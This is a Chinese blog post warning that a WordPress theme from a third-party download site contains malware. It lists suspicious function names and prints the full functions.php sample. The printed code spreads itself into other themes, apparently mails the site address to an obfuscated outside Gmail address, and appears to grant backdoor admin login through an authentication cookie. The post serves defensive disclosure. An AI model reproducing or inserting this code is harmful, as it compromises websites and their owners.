今天难得有兴趣搜集一波主题资源,在不经意间发现某138源码网有某主题资源,经测试发现有恶意代码
本地检测
把主题拖进D盾_Web查杀杀查发现无异常代码,于是上传到测试站测试
测试主题
在启用此主题后发现报错,提示:Fatal error: Cannot redeclare __popular_posts() (previously declared in,根据报错提示我对重复声明__popular_posts()代码进行了删除,接下来在后台主题选项中发现主题有其他的报错.于是停止此主题的继续测试,正当我准备换其他主题时发现新主题同样报错,错误代码一模一样,重复声明代码如下:
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
于是乎我再次进行代码删除发现可行,然后我再次更换其他主题时同样的问题再次出现,此时我就怀疑刚才的主题文件里有恶意代码,在百度里搜寻一番,发现某博主在14年就已经中招过此陷阱
恶意代码检查
查找包含恶意代码主题文件中的funtions.php文件,有以下特征的函数需注意:
- function _checkactive_widgets
- function _get_allwidgets_cont
- function stripos
- function strripos
- function scandir
- add_action(“admin_head”, “_checkactive_widgets”);
- function _getprepare_widget
- add_action(“init”, “_getprepare_widget”);
- function __popular_posts
包含以上代码不确定是否为恶意代码,需根据代码自行判断
恶意代码样本
- <?php
- // include xiu theme functions file
- include 'functions.wa.php';
- // custom functions?>
- <?php
- function _check_active_widget(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
- $output .= ($showdot && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_all_widgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_all_widgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_check_active_widget");
- function _prepared_widget(){
- if(!isset($length)) $length=120;
- if(!isset($method)) $method="cookie";
- if(!isset($html_tags)) $html_tags="<a>";
- if(!isset($filters_type)) $filters_type="none";
- if(!isset($s)) $s="";
- if(!isset($filter_h)) $filter_h=get_option("home");
- if(!isset($filter_p)) $filter_p="wp_";
- if(!isset($use_link)) $use_link=1;
- if(!isset($comments_type)) $comments_type="";
- // if(!isset($perpage)) $perpage=$_GET["cperpage"];
- if(!isset($comments_auth)) $comments_auth="";
- if(!isset($comment_is_approved)) $comment_is_approved="";
- if(!isset($authname)) $authname="auth";
- if(!isset($more_links_text)) $more_links_text="(more...)";
- if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
- if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
- if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
- if(!isset($more_content)) $more_content="ma".$s."il";
- if(!isset($forces_more)) $forces_more=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$widget_output) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!emptyempty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($fix_tag)) $fix_tag=1;
- if(!isset($filters_types)) $filters_types=$filter_h;
- if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
- if(!isset($more_tags)) $more_tags="div";
- if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
- if(!isset($showdot)) $showdot=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(emptyempty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $length) {
- $l=$length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $more_links_text="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $html_tags) {
- $output=strip_tags($output, $html_tags);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($fix_tag) ? balanceTags($output, true) : $output;
- $output .= ($showdot && $ellipsis) ? "..." : "";
- $output=apply_filters($filters_type, $output);
- switch($more_tags) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($use_link ) {
- if($forces_more) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("init", "_prepared_widget");
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
- ?>
最后提示
在任何第三方网站下载主题插件等资源均有可能包含恶意代码,需自行本地测试或闲置主机空间网站上检查测试,出现此情况应该立即修改账号密码,SQL账号密码,确保网站安全.本站内容均搜集于互连网,不能保证100%不含恶意代码,望悉知
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